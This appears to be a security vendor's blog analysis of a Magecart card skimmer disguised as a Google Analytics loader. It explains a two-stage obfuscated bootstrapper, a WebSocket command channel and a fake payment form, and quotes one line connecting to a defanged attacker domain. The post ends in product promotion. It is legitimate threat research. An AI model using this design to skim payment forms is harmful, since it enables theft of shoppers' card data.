A STEALTHY MAGECART ATTACK WITH APT-STYLE DYNAMIC REMOTE CONTROL, DISGUISED AS GOOGLE ANALYTICS
A new Magecart attack pushes browser-based skimming much further—using a two-stage payload, a persistent WebSocket link, and a fake double-entry payment form. It not only steals credit card info as it’s entered, it also lets the attacker change or reconfigure the malicious code on the fly—dodging traditional defenses and surviving layout or site updates.
In short: this is not your typical static skimmer—it behaves more like an APT-style loader + command-and-control channel aka C2. Meaning, the skimmer stays connected to the attacker the entire time and can change what it does on the fly.
Attack details
Stage 1: The Inline Bootstrapper
The attack begins with an inline script disguised as a Google Analytics loader. At a glance, it looks like legitimate first-party code, but inside it hides a malicious payload:
- Creates a DOM element dynamically.
- Checks window.location for sensitive paths such as /checkout/.
- Loads the second-stage code using atob() + new Function() obfuscation.
This stage is lightweight and stealthy. Its only job is to bootstrap the C2 logic without triggering alarms—many static defenses or CSPs may overlook it because it blends with trusted analytics code
Stage 2: WebSocket C2 Channel
Rather than dropping a static skimmer, the second-stage code opens a persistent WebSocket channel:
window._awsCache_ = new WebSocket(“wss://cdn-5-us-west[.]com/cache”);
The attacker uses this channel to:
- Receive telemetry: {t: “f”, p: “https://…/checkout/#payment”} reports the page back to the server
- Push dynamic payloads: Obfuscated scripts are sent via WebSocket and executed using eval(e.data).
- Maintain real-time adaptability: The attacker can modify the skimmer instantly if the site layout changes—no need to reinfect. They can simply inject an updated form via a new payload sent over the open WebSocket.
The Fake Payment Form (Double Entry)
The attacker uses the WebSocket channel to inject a dynamic, fake payment form—styled to look legitimate and labeled with a fake “Secure payment by Sagepay” footer.
When a victim enters their card info:
- The data is exfiltratedin real time.
- The form throws a fake error: “payment failed”.
- The user is silently redirected to the real payment page.
This creates a double-entry flow:
- The user thinks the first attempt simply failed.
- The merchant sees a successful order.
- The attacker already has the card details.
And because payloads are controlled in real time, the attacker can replace the form anytime—even adjusting it per target or language.
Why Two Scripts Instead of One?
Most Magecart attacks inject a single script. This attack splits logic into:
- Script #1 (Bootstrapper): Small, obfuscated, blends with analytics.
- Script #2 (WebSocket Loader): Larger, dynamic, persistent.
Benefits:
- Stealth: Initial inline script hides WebSocket/eval activity.
- Flexibility: Skimmer payloads can change anytime.
- Resilience: No need to reinfect if site code changes.
- Evasion: Evades scanners that focus on static or known patterns.
How Source Defense protects you
Source Defense’s real-time protection blocks this threat across multiple layers:
- Behavioral detection: Flags sequences like eval() → DOM injection → external fetch → form serialization/exfiltration.
- Dynamic blacklist & auto-policy: Malicious domains (even rotated or new) are blocked automatically.
How You’re Alerted:
If this attack reaches your site, the following alerts are triggered:
- Accessing PCI data
- Script sends data to a blacklisted domain
- Risky code execution
These alerts are prominently shown in:
- The notification bell
- The dashboard summary
- Script behavior and blacklist widgets (flagged in red)
Key takeaways
This Magecart variant mimics advanced malware—persistent, dynamic, and evasive.
The fake payment form is just one of many tools the attacker can push in real time.
Defending against such evolving, real-time attacks requires equally adaptive protection—continuous behavioral analysis and dynamic blocking at the client side.
PCI DSS 4.0 makes client-side security a priority.
Source Defense delivers a solution for 6.4.3 and 11.6.1 without adding a burden to your security teams.